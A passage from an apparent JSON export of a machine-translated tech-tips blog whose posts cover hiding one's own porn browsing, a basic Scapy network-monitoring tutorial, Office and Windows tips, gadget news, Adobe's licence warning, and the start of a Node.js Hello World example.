hidden and so you'll be immediately alerted if someone enters the room.\nTip: If you're able to, lock the door so people can't come in without knocking and waiting.\n Part 2of 3:\nConcealing Files on Your Devices  Rename porn files on your computer so they don't sound suspicious. When you download porn to your computer, the name of the file might make it obvious what's inside. Fortunately, you can easily change the name of your files to something boring or innocent-sounding so that anyone who comes across them on your computer won't know what they really are.[1] For example, you could change the file name to something like 'work_documents' or make it a random series of numbers and letters, like 'Jmp356.' Warning: Make sure you remember what you named your files. You don't want to accidentally send them to someone!\n  Encrypt the fileson your computer for a more secure option. Encrypting files involves locking them away in a passcode-protected file that's difficult for others to break into. If you're worried about someone snooping on your computer and you don't think renaming your files is enough to keep them hidden, encrypting them might be your best option.[2] To encrypt your files, you'll need to download an encryption tool to your computer. Some encryption tools you can use include TrueCrypt, VeraCrypt, and BitLocker.   Download a vault app to hide images and videos on your mobile device. Vault apps are apps for mobile devices that allow you to add photos and videos and then lock them away behind a passcode or other form of verification. You can download a vault app from your phone's app store, store your porn in it, and then hide the app in a folder on your phone so it's harder to find.[3] Some vault apps you can try include Private Photo Vault Pro, Smart Safe Pro, and Photo Manager Pro.   Consider streaming porn instead of storing it on your devices. There are a variety of websites available, both free and subscription-based, where you can stream porn online without having to download it to your device. By streaming porn instead of storing it, you won't have to worry about anyone stumbling across your files.[4] Even if you stream porn instead of downloading it, you'll still need to take measures to prevent people from seeing your browsing history. Warning: Be careful streaming porn from free websites since some unreliable websites can install viruses and malware on your device. Stick with popular, reliable websites. If you're not sure which websites are safe, try researching the best free streaming sites online and reading reviews.\n Part 3of 3:\nHiding Your Browsing History  Use private browsingso your search history isn't saved. Private browsing, also called 'incognito mode' on some web browsers, is a setting you can select that prevents your search history and cookies from any sites you've visited from being stored. That way, if someone were to use your device and look at your search history, they wouldn't see any of the websites you visited while you had private browsing turned on.[5] You can use private browsing on both your computer and mobile device.   Delete your browser historyif you don't use private browsing. Even if you don't use private browsing, you can still delete your search history after the fact so people won't be able to find it. The right way to delete your browser history will depend on the web browser you're using and whether you're on a computer or mobile device, but generally, you'll go to where your search history is and click on something like 'delete history.'[6]\nTip: Some web browsers let you choose how far back you want to delete your history, like from the past hour or week. That way, if someone uses your web browser after you, it won't look suspicious that you have no previous search history.\n  Use a different browser to watch porn in order to better hide your search history. If you use your regular browser to watch porn, there's a greater chance that someone will open it or see something when you're using it, especially if you forgot to turn on private browsing or delete your browser history. By using a separate browser, you can keep it hidden on your device, and your search history won't show up if someone borrows your phone and uses your main web browser for something.[7] Some popular web browsers that you can use on your computer or mobile device include Google Chrome, Firefox, Safari, and Internet Explorer. There are also browsers you can download that won't track your search history, like Firefox Focus for iOS devices or Krypton Web Browser for Android.   Put a passcode on your device so people can't use it when you're not around. If you don't have a passcode on your computer or mobile device, and someone uses it when you're not around, they might come across your search history. By using a passcode, you won't have to worry about people snooping on your device.[8] Keep in mind that if someone asks to borrow your phone or computer for something and you refuse to enter the passcode, you'll look suspicious and they'll know you're hiding something. In that situation, you might be better off entering the passcode so you don't draw attention to yourself.   Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqafqXqosdNmmpqtl53BbrjOqKKippdirrV5z6ippw%3D%3D\n","link":"/post/how-to-not-get-caught-looking-at-porn/","section":"post","tags":null,"title":"How to Not Get Caught Looking at Porn"},{"body":"To further expand and provide more tools when using the browser, Add-ons will help users quite a lot. The utilities are very fast to install, simply do not need to perform many steps like other software on the computer. Not only can it be installed on the browser, but utilities can also be installed on Google Docs, if you often have to use this tool.\nThese utilities will help users to use many new features on Google Docs, in addition to editing text content. How to install gadgets for Google Dcos is as simple as when we install gadgets on Google Chrome or Firefox.\nHow many of the best features have you missed on Google Docs? Useful tools to know in Google Docs Useful shortcuts for Google Docs 1. Instructions for installing Google Docs utility Step 1:\nFirst, log in to your Google account to use Google Docs. Open new text on Google. At that interface, click on the Add-ons section.\n  Step 2:\nAppeared interface for Google Docs Add-ons . You enter the utility name in the search box. Or find the utility in the list and choose to install the Free utility.\n  Step 3:\nA new window appears. Goolge and the application will ask you for permission to use account information. Click Allow to proceed with the utility installation.\n  Step 4:\nShortly thereafter, there will be a message to install the utility on Google Docs, along with how to use the utility on Google Docs.\n  Step 5:\nTo be able to use the utility on Google Docs, users click on the Add-ons section, select the utility name and click Start. With the Table of contents utility in the image below, I will select Show right column to use the utility.\n  2. How to delete the Google Docs installation utility Step 1:\nIf you no longer need to use the Google Docs utility, click on Add-ons and then select Add-ons Management .\n  Step 2:\nShow all the utilities that users have installed on Google Docs. At the utility you want to uninstall, click on the Manage button and then click on the Delete button .\nThe utility will immediately be removed from Google Docs.\n  3. Suggest useful utilities on Google Docs 1. Add-ons LanguageTool\nDownload the LanguageTool utility This is a spell checking utility on Google Docs. Although the spell check feature is also available on Google Docs, LanguageTool has more features such as support for 20 test languages. Especially, the utility is completely safe when not sending the content to the 3rd party, the error checking results are very accurate.\n  To use LanguageTool, we black out the text we want to check, up to 20 thousand characters and then click on LanguageTool to select Check to use. If the LanguageTool purchase account does not have a check character limit and can be used on Word.\n  2. HelloSign\nDownload the HelloSign utility HelloSign will create signature documents for the document, limit the signature in 3 documents to the free account. With a fee, there will be no signature restrictions in the document.\n  This utility allows users to use a mouse or stylus to sign online text documents.\n  The signature will be written on the interface of LanguageTool, then you click Insert to insert the signature into the position of the cursor in the document content.\n  3. Wolfram Alpha\nDownload the Wolfram Alpha utility Wolfram Alpha is an additional Google Docs search engine, giving users more information for their editorial content.\n  You don't need to visit Google to find information that will look right on the Google Docs interface through Wolfram Alpha. This utility is especially useful when we want to find information about specialized words, English words to serve the content being edited. The information provided by Wolfram Alpha is not only the meaning of the word but also the format of the word, the number of vowels, consonants, etc. Depending on the search terms, the type of information provided to the user will be different.\n  4. HelloFax\nDownload the HelloFax utility This is a utility that allows users to send and receive faxes directly through Google Docs. With the free utility account limited to send 5 document pages for one file. If paying $ 9.99 / month, the number of pages is increased to 300 pages.\n  Above is how to install and remove the Google Docs installation utility. With these utilities, document editing is easier, there are more useful tools such as spell checking, or finding more information about words using Wolfram Alpha. Installing those add-ons on Google Docs is also very simple.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKKmo6murbiMrZ%2BeZaWptq2107JkqKZdnLyws8ueZJ2nk6g%3D\n","link":"/post/instructions-to-install-the-utility-on-google-docs/","section":"post","tags":null,"title":"Instructions to install the utility on Google Docs"},{"body":"To celebrate the historic meeting between the head of the White House, Donald Trump and Russian President Vladimir Putin, a Russian phone company called Caviar has released a special version of Nokia 3310 2017 called 'Peacemakers (People who make peace).\nThis special phone is made of titanium, on the camera body is a portrait of the two top Russian-American leaders with a face that looks in the same direction made from 24K gold.\n  Photo: Caviar.\nThe manufacturer used PVD technology to cover 100% of the titanium metal part of the gold phone to enhance its resistance to corrosion. In addition, Nokia 3310 2017 navigation keys are engraved with crowns.\n  Photo: Caviar.\nCovered with rare materials, Nokia 3310 version of Peacemakers costs up to 2,610 USD, while the original version only costs 65 USD.\nIt is unclear how many Nokia 3310 Peacemakers are produced but surely Mr. Putin and Mr. Donald Trump will be given the first two samples.\nSee more:\n72% of Vietnamese population use smartphones but 50% of them only listen to texting calls Smartphone with 9 cameras coming soon Drilled through a big hole, the Samsung smartphone still works as a \"miracle\". ncG1vNJzZmismaXArq3KnmWcp51ku7C3yJpkbGthZXqzwdKsoJqmkaKys7XCmqVmrpWnwKq7zWakmpyVYrynedOiq5qmmaq6bq3NnWRrbJtitLC4w2anq6GTmrFurdNmaW9pYGLCtLA%3D\n","link":"/post/nokia-3310-russian-american-version-made-of-titanium-and-24k-gold-priced-at-2-610-usd/","section":"post","tags":null,"title":"Nokia 3310 Russian-American version made of titanium and 24K gold, priced at 2,610 USD"},{"body":"Network Administration - There are many tools to help protect the security of your server and network, but choosing a suitable tool is not easy at all . In this article we will show you how to use the Scapy tool to protect your servers.\nProtecting the network against Internet threats is a simple task. A firewall is a type of internal network protection technology that uses two separate Ethernet connections with the proxy software used to filter traffic between the two ports. At this point, Linux supports as a great platform with netfilter / iptables tools.\nSome other techniques are used to create filter packet inspection tools such as Wireshark or port scanning tool like nmap. Both of these tools are very familiar to most network administrators. So in this article we will introduce a completely different tool, Scapy, a tool that combines the preeminent features in Wireshark data analysis and capture, nmap's data delivery feature. Part 1 of this article will focus on how to install and some basic operations like how to capture and display Ethernet traffic and how to create some simple scripts in Python. . Part 2 will cover more about how to use Scapy in testing web servers to find possible vulnerabilities, then how to find fake DNS servers as well as wireless network scans to find. release potential security holes.\n  Figure 1\nSetting\nInstalling Scapy is simple and fast, only takes a few minutes on an Ubuntu desktop. All you need to do here is open the Ubuntu Software Center and search for SCAPY. The real name you will find is python-Scapy, which is a set of tools written in Python. Also you need to install some other software if you want to exploit all the strengths of SCAPY. The list of additional software to install includes python-crypto, python-gnuplot, python-pyx, graphviz and imagemagick.\nIf you want to get the latest version of Scapy, you need to download the source and execute a few commands to install it. The commands are available on the Scapy wiki but basically what you need to do is download the scapy-latest.zip file, extract this file to a folder and execute the setup.py command as follows:\n$ sudo python setup.py install\nThere are many places where you can learn more about Scapy, such as the online HTML documentation, Scapy Wiki and some other articles on the Scapy website. To maximize Scapy, you need to know about TCP / IP network protocols and a bit of Python language. Python website is where you can learn more about this language. There are also many other guides that can be searched on Google. Dive Into Python is another place you can use to learn more about this language.\nBasic activities\nThere are quite a few basic activities you can do by Scapy. It is almost similar to Wireshark in capturing data traffic and sniffing Ethernet devices. There are many command options when you launch Scapy. You must also launch Scapy with your administrator privileges if you want to capture Ethernet traffic directly from any network device. The command to do that is:\n$ sudo scapy\nWhen Scapy runs, you will see a command prompt with three arrows \u0026gt;\u0026gt;\u0026gt;. Here you can enter commands or use Python code. A simple but useful command that we show here demonstrates how to execute an ICMP Ping action for a range of only:\n\u0026gt;\u0026gt;\u0026gt; ans, unans = sr (IP (dst = \"192.168.1.1-254\") / ICMP ())\nThe sniff command allows you to capture Ethernet packets for further analysis. You can specify an interface to use with the iface = option , or leave it blank to capture all devices. Other options include: filter to set filtering conditions for capture packets, count to specify the number of captured packets, prn to create the function of printing your output format. The ls () and lsc () functions will display the list of available classes and functions. (Searching for a detailed document will help you understand the commands and how to use them more deeply).\nOne of the main features of Scapy is that it is written in Python language. This allows you to write scripts to automate testing and analysis you want to perform. When installing Scapy, you have direct access to all features from the Python command prompt. Scapy also has its own interactive capabilities, which you will see if you type scapy into the terminal window. If you look at the file / usr / local / bin / scapy , you will see many comments and two Python commands:\nfrom scapy.main import interact\n  Figure 2\ninteract ()\nPython will help simplify the script creation process to send requests and then format the information back to make the output easier to understand. To make the ICMP request output easy to understand, you can use the following line of code:\n\u0026gt;\u0026gt;\u0026gt; ans.summary (lambda (s, r): r.sprintf (\"% IP.src% is alive\"))\nLambda functions used with sniff command:\n\u0026gt;\u0026gt;\u0026gt; sniff (iface = \"eth1\", prn = lambda x: x.show ())\nIf you run this command in a terminal window, you'll see a full list of all traffic on eth1 until you stop it with control-D .\n  Figure 3\nConclude\nIt can be said that Scapy is a particularly useful tool for administrators with a bit of experience with Python. In the next part of this series, I will show you how to use Scapy in a number of other modes to protect the network.\nncG1vNJzZmismaXArq3KnmWcp51kwKav1KucZqyYmnq0sdGvnKtlp57BqXnSnJipsV2lrrPAjGo%3D\n","link":"/post/secure-the-server-with-scapy/","section":"post","tags":null,"title":"Secure the server with Scapy"},{"body":"Windows Task Manager is quite familiar to many computer users, with the familiar boot key combination from Windows XP as \"Ctrl + Alt + Delete\". Most users often use the Windows Task Manager to turn off stubborn or corrupted applications, sometimes used to check the status of CPU activity.\nHowever, there are quite a few useful tips with Windows Task Manager that you may not know.\n  These features are tested on Windows 7. In Windows 7, to open the Windows Task Manager you can right-click on the Taskbar at the bottom of the screen and select Windows Task Manager, or use the key combination \"Ctrl + Shift + Esc \"to quickly open the Windows Task Manager window.\n1. Send a message to another user On the Users tab of the Windows Task Manager window, you can see the accounts that are logged on your computer, possibly remote connections. You can send a message to those accounts, simply by clicking on the account name and selecting Send Message. When that account is logged in, a dialog box will appear with your message.\n  2. Arrange and manage windows In the Applications tab, you can see that the program windows are currently open. You can right click on those windows, select Switch To to switch over, or select Minimize / Maximize to hide or enlarge the window to full screen. Alternatively, you can select multiple windows at the same time by holding down Ctrl, then right-clicking and selecting Tile Horizontally or Vertically to arrange them horizontally or vertically.\n  3. View CPU usage time of applications The Processes tab allows you to keep track of running applications and the amount of memory they use. You can also monitor the CPU usage time of applications, by enabling the CPU Time feature. To enable this feature, go to View on the menu bar, select Select Columns, and then click CPU Time.\n  You can arrange applications, by clicking on the CPU Time column, to see which applications have the longest use time. However, the Processes tab only displays running applications, if an application is turned off, you cannot see information about them.\n  4. Manage application priorities Windows has a set of priorities for some applications, whereby the system will provide memory and handle pre-prioritized applications with more resources, and non-priority applications will be limited. You can also change the priority of each running application in the Processes tab.\n  By right-clicking on the application, and selecting Set Priority, then select the priority you want. There are 6 priority options for you to choose from, high priority setting will help the application run better, besides setting low priority for many unnecessary applications. It will limit hanging and machine lag.\n5. Reset Compatibility for the application Usually you may encounter some problems when the application is incompatible, and you will have to change the Compatibility setting in Properties, when right-clicking the application's icon. However, you can quickly change the Compatibility of the application in Windows Task Manager. By right-clicking on the application and selecting Properties. You can also from the Applications tab, right-click on the running application and select Go To Process, to quickly switch to that application in the Processes tab.\n  6. Tab Services Have you ever wondered what \"svchost.exe\" really is? There are quite a lot of different Svchost.exe, and they are really functional files to run the Services functions that help Windows work. Each Svchost.exe takes care of running different Services functions. If you want to see which svchost.exe is actually running, you can right-click it and select Go To Services. It will take you to the Services tab, and you can see the Services running under Svchost.exe and the function it takes in the Description column. You can choose to turn off Services that feel unnecessary.\n  7. Icon CPU Usage Task Manager includes a CPU Usage icon in the system tray, making it easy to see how the CPU works. However by default this icon will be hidden, so you click on the arrow in the system tray, drag and drop the CPU Usage icon into the Notification frame. And you can easily monitor CPU status continuously on the system tray.\n  ncG1vNJzZmismaXArq3KnmWcp51kwLC5xGasrJ2WqrluwMipqmavmam1bsPIp5uor6NiwaK%2FymakmqaRnLKz\n","link":"/post/some-useful-tips-with-windows-task-manager/","section":"post","tags":null,"title":"Some useful tips with Windows Task Manager"},{"body":"For those who love the VAIO brand, there are two beautiful laptops that they cannot forget: VAIO TZ and Z. Although later, TZ has been replaced by TT but its design style has been photographed. greatly influenced other VAIO machines from FW, CW to SR. But the best TZ inherited thought engine is Z.\nIn the CES 2010 exhibition, Sony introduced S to replace the SR and F for the FW, while the upgrade of Z was still not visible. Fortunately, the new generation Z1 is now available through a promotional video made by Sony.\n  There is no information about the official Z1 configuration yet, but in this ad, you can see rumors of 4 128GB SSDs running RAID or a backlit keyboard will come true. We have not seen any information about TransferJet technology or Intel Core i7 processor like the F1. Other features such as a 13.1-inch screen, carbon-fiber casing and aluminum frame will remain the same.\nThrough this video, Sony also introduced a new slogan exclusively for Z: Executive Dicision , temporarily translated as the operator's choice. Unlike other manufacturers that only target business people whether their positions are low or high, Z1 is created exclusively by Sony. And of course, everything has its price. $ 1799 is only enough to buy the lowest configuration of the old Z, so don't expect the new Z1 to be cheaper than this number!\n[youtube] http://www.youtube.com/watch?v=DnTWipoBAT4\u0026amp;feature=player_embedded [/ youtube]\nSony staff introduced Z:\n[youtube] http://www.youtube.com/watch?v=ltS4PcM0ok8\u0026amp;feature=player_embedded [/ youtube]\nncG1vNJzZmismaXArq3KnmWcp51kwLC62GatmqGfYsdyecuap62noGKzsL6MpqadnaKWwbC%2B0g%3D%3D\n","link":"/post/sony-vaio-z1-laptop-for-moderators/","section":"post","tags":null,"title":"Sony Vaio Z1 - laptop for moderators"},{"body":"Windows XP is one of Microsoft's most popular operating systems and is still in use even though it has been discontinued for more than 2 years. That is the living proof for Windows 7, though it has been planned to stop support since January 2020 but will still be used by many users.\nStopping support doesn't mean Windows 7 will be ugly and forgotten. A new concept video revealed that the new version of this OS integrates many of the features available on Windows 10, making this old OS \"more modern\" with Microsoft's latest features.\nApple's macOS Mojave-inspired wallpaper is also available on this version of Windows 7 2018, showing that even Windows can automatically change the background over time.\nHow to automatically change wallpaper in real time Windows 10 Although the idea is great, Microsoft has never released a remastered version for any of its platforms. The closest is Windows 8.1, basically Windows 8 with a Start menu. Therefore, Microsoft will probably never develop Windows 7 Remastered Edition and it is certain that Microsoft will not have the opportunity to bring Windows 7 back to its heyday. Microsoft is doing everything possible to convince users to switch from Windows 7 to Windows 10. Windows 10 is now what they focus on in the desktop OS world and this will not change in the future.\nAccording to reports from Woody Leonhard on CW, some older PCs will not receive updates or security patches on Windows 7. Accordingly, Windows 7 machines that do not support SSE2 have been blocked with new updates and sources said. Pentium III machines are affected, starting from March Windows 7 Monthly Rollup KB4088875. Although promising a monthly patch, June 2018 Monthly Rollup introduces a new policy that requires users to 'upgrade the machine to a processor that supports SSE2 or virtualize the machine'.\nEven so, Windows 7 is still a \"big love\" for PC users. There are also third-party themes that bring up the look of Windows 10. Even though you'll need a lot of customization, if you don't like the modern Fluent Design and UI, it's worth it.\nWhether or not this version of Windows 7 can be released, it does give Microsoft some great ideas that can be integrated on Windows 10, such as animated wallpapers. Let's wait and see if loyal Windows 7 fans can be convinced by Microsoft with new features on Windows 10 .\nSee more:\nWindows revolution and breakthrough changes through each version Compare Windows 7 versions Overcoming Windows 7, Windows 10 is rated as the best Windows version in terms of security ncG1vNJzZmismaXArq3KnmWcp51kwam10maaqKaTmr21edKhprCrXam1osCMsKCnnJ%2BswG6DjGtnanBdrLatuIybnGadppq7bq7Eraueql2ptaK6jLCgp5yfrMBufY8%3D\n","link":"/post/this-concept-shows-that-windows-7-2018-will-be-even-better-than-windows-10/","section":"post","tags":null,"title":"This concept shows that Windows 7 2018 will be even better than Windows 10"},{"body":"Along with the change of applications like Instagram, Snapchat, Facebook is renewing itself when providing more new features, increasing user interaction. Especially the latest feature is integrating virtual reality technology for Stories on Facebook, and Messenger application, with unique filters so you can transform your own face.\nAnd recently Warner Brothers and DC, the father of the blockbuster Justice League, have joined hands with Facebook to launch a special filter, Justice League, which is superhero-like. With just a few taps, we can turn ourselves into characters like Aquaman, Batman, Flash, Wonder Woman and Cyborg. Along with Network Administrator transformed into superhero in Justice League on Facebook, through the article below.\nStep 1: First of all, we need to upgrade the Facebook application to the latest version, or download the new link below.\nDownload the Android Android app\nDownload the Facebook iOS app Step 2: Then access the personal Facebook application. At the home page interface, click on your News section, or click the camera icon in the top left corner. In the photo interface, click on the effect icon as shown below.\n   Step 3: A list of filters is available on the Facebook application. The Justice League filter set will appear right above because it has been updated. Or no, we click on the mask icon to find the superhero filter. Superhero set will have JL logo for you to easily find.\n   Step 4: Once selected, the filter is satisfied, we only need to put the face in the correct frame in the interface. You can use the front or rear camera depending on the user.\nThe Justice League filters will all include an animation and sound effect to enhance the animation when you record videos.\n   Step 5: When you click on the screen, you will see a list of Justice League filters , so that we can change when we want to switch to another face effect.\n   If you like this effect, press the white circle button in the center to take the picture. Faceebook will have additional options for images, such as adding icons, or adding strokes to images. In addition, we can also press the down arrow icon to download photos to the device.\n   Step 6: Click on the next arrow to horizontal to share the image on Facebook. Images will be posted on your News and will only appear within 24 hours. After 24 hours, the image will automatically disappear.\nIn addition, you can tick the Post to post on the bulletin board, customize the view mode for images. Finally click the Send icon in the right corner of the interface.\n    So when you return to the interface on Facebook will see the image posted, along with the image also appears in your News.\n   That's quite interesting ?! Continuously updating new face filters for the Facebook application, which has recently been a superhero Justice League filter, adds unique options to users. You can choose face effects to turn yourself into many different characters, then you can post to the Stories section of Facebook, or the message board if you want.\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWaroZ1dn8K0wMicnGaklZa0trGMrKypnaKdsrO7jJ%2Bmq6WRqbawuoyopWaekZiyo7vOpGShmaaaerq71Garq6GVmXqqwA%3D%3D\n","link":"/post/turn-the-justice-league-superhero-formation-on-facebook-have-you-tried-it/","section":"post","tags":null,"title":"Turn the Justice League superhero formation on Facebook, have you tried it?"},{"body":"In this article, guide you in detail how to use SmartArt effect in PowerPoint 2016.\nTo create a SmartArt object, click the Insert tab -\u0026gt; SmartArt -\u0026gt; select the SmartArt style you want:\n  After selecting a SmartArt style, enter content for SmartArt:\n  Create an effect for SmartArt by clicking on the Animations tab -\u0026gt; Add Animation -\u0026gt; selecting the effect type, for example here, choose the type of effect that appears:\n  Choose the type of effect you want:\n  After choosing the effect type, SmartArt object provides more advanced effects in Effect Options:\n+ As one Object: Consider SmartArt object as a common entity implementing the same effect.\n+ All at One: All components in SmartArt perform effects at the same time.\n+ One by One: The components in SmartArt perform the effect respectively.\n+ Level at One: Perform effects according to the Levels in SmartArt:\n  Example of implementing the All At One effect\n  Example of using the One by One effect:\n  Example of implementing Level at One feature:\n  Also you can set advanced effects for SmartArt by right-clicking on the effect and select Timing:\n  Choose effects in the Group animation section similar to Effects Options:\n  Select sound effects when presenting objects or effects after the slideshow in turn Sound, After Animation:\n  Above is a detailed guide on how to use effects for SmartArt objects . Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjKykmqqklr%2B1ecSfnZ6bpKh6qrqMqaawnaKlvKq60w%3D%3D\n","link":"/post/use-smartart-effects-in-powerpoint/","section":"post","tags":null,"title":"Use SmartArt effects in PowerPoint"},{"body":"3-room house is one of the traditional houses in the old countryside. However, nowadays, besides modern houses such as level 4 with mezzanines, 2-storey houses, many people still love and choose this model. Currently, engineers have created models of 3-room modern, more luxurious, suitable for the tastes of many people.\nHere are some samples of beautiful three-compartment houses, please refer.\nA traditional three-storey house with bright red tile roofs, the doors are made of wood. In the middle is the living room area attached to the altar.\n  A model of a modern three-room house with glass doors and a built roof definitely gives the project a luxurious, airy space.\n  Modern 3-storey house model with elegant crown roof. Window system is a harmonious combination of wood and glass materials to help get the best light.\n  The roof of this modern three-room model is jerked to different heights to make the building beautiful and impressive.\n  A modern, beautiful 3-storey house with a harmonious combination of white walls, subtle horizontal lines and gentle blue of the roof.\n  The roof of the house is impressive design. A small corner of the front porch is designed to make shading, making the house more airy and roofier. Windows made of glass help light up the interior space while creating a luxurious home.\n  ncG1vNJzZmismaXArq3KnmWcp51kgK67w56jZqCfqsCmedaiq6FlkpqutsDIn6ylZZ2ksaa%2BzWaqqZmTmg%3D%3D\n","link":"/post/3-model-house-with-beautiful-modern-space/","section":"post","tags":null,"title":"3-model house with beautiful modern space"},{"body":"On the Internet, there are many free websites that support users to post photos and videos . to share quickly and easily with friends without losing time to register an account. Here, we would like to introduce to you 4 such services.\nFile Dropper File Dropper is dubbed the \"easiest file storage site\". When using File Dropper uploader, you can download and store large files indefinitely. File Dropper does not require any account registration steps like other services. Once the files have been uploaded, you can email and share them to others.\n  Virtually all file hosting and sharing services support a limit of 100MB for each file (some services allow up to 1GB). However, when it comes to File Dropper, this limit is raised to 5GB. So you can store any file format you like.\nWikisend Wikisend provides a file size limit of 100MB and the default time to store is only 7 days. Wikisend's interface is divided into two separate tags, Upload and Download. When uploading a file, you will receive the ID code of the file to download so you can share it with your friends.\n  In addition, you can also set properties for files before and after uploading to Wikisend servers, but the editing feature after uploading only applies to registered accounts. You can change the file name, increase the storage time to 90 days, add a description of the file and protect the file with a password.\nMyFreeFileHosting Coming to the free MyFreeFileHosting service, you can quickly share documents for friends via the Internet with a very fast download speed. Here, you will easily download the required files to the server of the service, then wait to receive the download links sent via the notified email.\n  MyFreeFileHosting has the same interface of MediaFire. The highlight of this service is completely free, easy to use and does not need to register. The site specifies the maximum size of each uploaded file.\nEasyshare In addition to file storage, Crocko's Easyshare service has many other useful features. The highlight of this service compared to other sites is to allow 8 files to be uploaded at the same time. After the upload process is complete, you will receive the URL of the downloaded file to be able to share it with others.\n  Besides the usual Web upload feature, Easyshare also offers many other options such as Remote upload, FTP upload, API upload and Widget upload; however, these options only apply to registered accounts.\n6 simple and easy to use online sharing services 10 best photo hosting and sharing sites Share experience in selecting and using cloud services effectively Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kgW6y0Z6cZqeeobavsYydppytnZq7tXnSoZiroZ6cerS1056q\n","link":"/post/4-free-online-document-sharing-sites/","section":"post","tags":null,"title":"4 free online document sharing sites"},{"body":"Adobe recently officially warned some owners of Creative Cloud software applications that they are no longer allowed to use older versions of software. This can be seen as a good example of how software development companies have been operating in the past few years. To optimize profits as well as pave the way for new products, companies will increasingly tighten the use of older software versions, even if you have to spend money to buy the software. before.\n  You decided to \"live dead\" with Windows 7? Consider carefully again Earlier this week Adobe began sending some users of its software including Lightroom Classic, Photoshop, Premiere, Animate and Media Director . a warning message to the content that they will no longer be legally authorized to use the old version of the above software. The original notice sent by Adobe via email is as follows:\n'Recently, we have officially terminated the deployment of some older versions of several Creative Cloud applications. And based on the terms stated in our agreement, you will no longer be legally licensed to use these software. Please note that if you continue to use the version (s) that we have discontinued, you may be at risk of facing infringing claims by third parties. '\n  The computer encountered many strange phenomena after upgrading Windows 10 April Update Of course, the recipients of the announcement also expressed disappointment, even bewildered by Adobe's decision.\n  The company did not clearly inform users why they were forced to stop using the software. However, according to observers, it is likely that this problem stems from an ongoing lawsuit between Adobe and another company. According to reports from AppleInsider, there was a copyright-related lawsuit against Adobe submitted by Dolby Labs last year.\nIn a controversial move, Adobe has shifted from a standard software model to a cloud-based subscription model in 2013. This helps to improve the company's revenue (and of course customers will be subject to higher prices).\nDolby's lawsuit stems from an allegation towards Adobe for copyright infringement regarding how to charge licensing fees that Adobe paid for Dolby under the new model.\nReturn to the original problem. In a statement to the Motherboard, Adobe confirmed the authenticity of the letter, but did not provide any additional details beyond what they had included in the notice.\n  Want to receive security updates on Windows 7 next year, users will have to pay at least 50 USD / device This is a precedent that can cause bad consequences. It shows a 'paradox' that is happening in the technology world, which is that we can completely be deprived of use of products that we used to spend before. And of course if we continue to use it, publishers are of course no shortage of measures to make it difficult. It is possible that the game console suddenly lost some features after a mandatory firmware update, or the entertainment products you purchased suddenly disappeared without reason. This is really a big problem in the era of digitalization today.\nDylan Gilbert, a copyright expert with Public Knowledge consumer protection group, said in this case it would be difficult for users to rely on legal moves for a sudden change from Adobe.\n'Unless Adobe has violated the terms of its license agreement because of abrupt support for the previous software version, if that is not the case, users are affected by the decision. This part of the absurdity would do nothing but give a bitter smile and accept the reality, 'Mr. Gilbert said.\nIn addition, he noted that we - consumers of digital products - currently live in a world where we can almost never actually own any digital product for on your own, even when paid flat. In this new unreasonable reality, we - the end users are forced to accept 'sweetie Sapindales' before end-user licensing agreements (EULAs), in which licensees (those who work Software owner may completely change the terms of service without prior notice.\n'Even if Adobe is having trouble dealing with Dolby-related disputes, it still has the right to force customers to upgrade to more expensive newer software versions. This is a clear evidence for the strength and undue influence of EULAs on the lives of users. In fact, we must have full ownership and use of what we have bought, 'added Gilbert.\n  Microsoft urges Windows users to upgrade to Internet Explorer 11 browser Consumer protection activist, author and copyright expert Cory Doctorow fully agree with Dylan Gilbert's opinion. Sharing with Motherboard, the expert said that the type of thinking like Adobe has, is and will increasingly permeate countless aspects of technology, including DRM-based media, software with muscle. service configuration and even server-client games.\nBoth expert Doctorow and Gilbert noted that these arbitrary changes can often cause special trouble for artists and creators who are making a living based on innovative software numbers like Photoshop. They often don't want to risk their projects by suddenly switching to new software versions that may contain countless unforeseen errors.\nWhen the tools you have bought are only designed to treat you as a tenant, not as a true owner, then you and others are the ones who suffer. from the whims, intrigues and unforeseen risks of leases, which are here the main companies like Adobe. And ironically, your legal rights are determined through a 'contract' that you click through a million times each time you install and use the product, saying you agree with 'all the things'. Software '. Yes, agreeing to 'all terms' will mean you have no legal rights, all will be placed at the discretion of the service provider.\nMicrosoft launched a video reminding Windows 7 \"death\" and advised users to upgrade to Windows 10 It is really a tragic reality. A humor that we can find in it is the way companies and digital product suppliers are trying to 'trap' their gods. More sadly, according to many copyright experts, this reality will hardly change soon. And until there is a positive change, even though the smallest one really appears, consumers are as low as my throat and you have only one choice, the only weak solution to protect yourself. Its advantage is not to buy any products from companies that have historically imposed disrespectful changes in users. After this incident, Adobe will be the first name to have 'honor' on my blacklist!\nncG1vNJzZmismaXArq3KnmWcp51krqW7wZ5krJmZmXq2v8Srqmabn6q5pXnBnmSsrZWZeqe70Waaq6GdmsBuwdKipaBln6Gxpr6Mr5yrq5mku7R5zp9kqaCfqby0tM6p\n","link":"/post/adobe-said-users-could-be-sued-for-crimes-using-older-versions-of-photoshop/","section":"post","tags":null,"title":"Adobe said users could be sued for 'crimes' using older versions of Photoshop"},{"body":"Before creating the actual \"Hello world\" application in Node.js, see the main parts of the Node.js program. A Node.js program includes the following important sections:\nModules needed : We use require directive to load a module Node.js.\nCreate Server : A server listens to requests from the client side similar to the Apache HTTP Server.\nRead the request and return the response : The server created easily will read the HTTP requests by the client from the browser or console screen to return the response.\nCreate Node.js application Step 1: Import the necessary modules\nWe use the require directive to load the http modules and return the expressions to the http variable as follows:\nvar http = require ( \"http\" );  Step 2: Create Server\nNext step, we will create http and call http.createServer () method to create a new Server and return a Server Instance and then mount it on port 8081. Transfer it to the request and response parameters. Write the following example paragraph about the \"Hello World\" program.\nhttp . createServer ( function ( request , response ) { // Gui HTTP header cua request // HTTP Status: 200 : OK // Content Type: text/plain response . writeHead ( 200 , { 'Content-Type' : 'text/plain' }); // Gui phan than cua response, bao gom \"Hello World\" response . end ( 'Hello Worldn' ); }). listen ( 8081 ); // Man hinh Console se in thong bao console . log ( 'Server dang chay tai http://127.0.0.1:8081/' );  This code is enough for creating an HTTP Server to listen and wait for the local 8081 response.\nStep 3: Check Request \u0026amp; Response\nPut steps 1 and 2 together in a file with the name main.js and turn on HTTP Server as follows:\nvar http = require ( \"http\" ); http . createServer ( function ( request , response ) { // Gui HTTP header cua request // HTTP Status: 200 : OK // Content Type: text/plain response 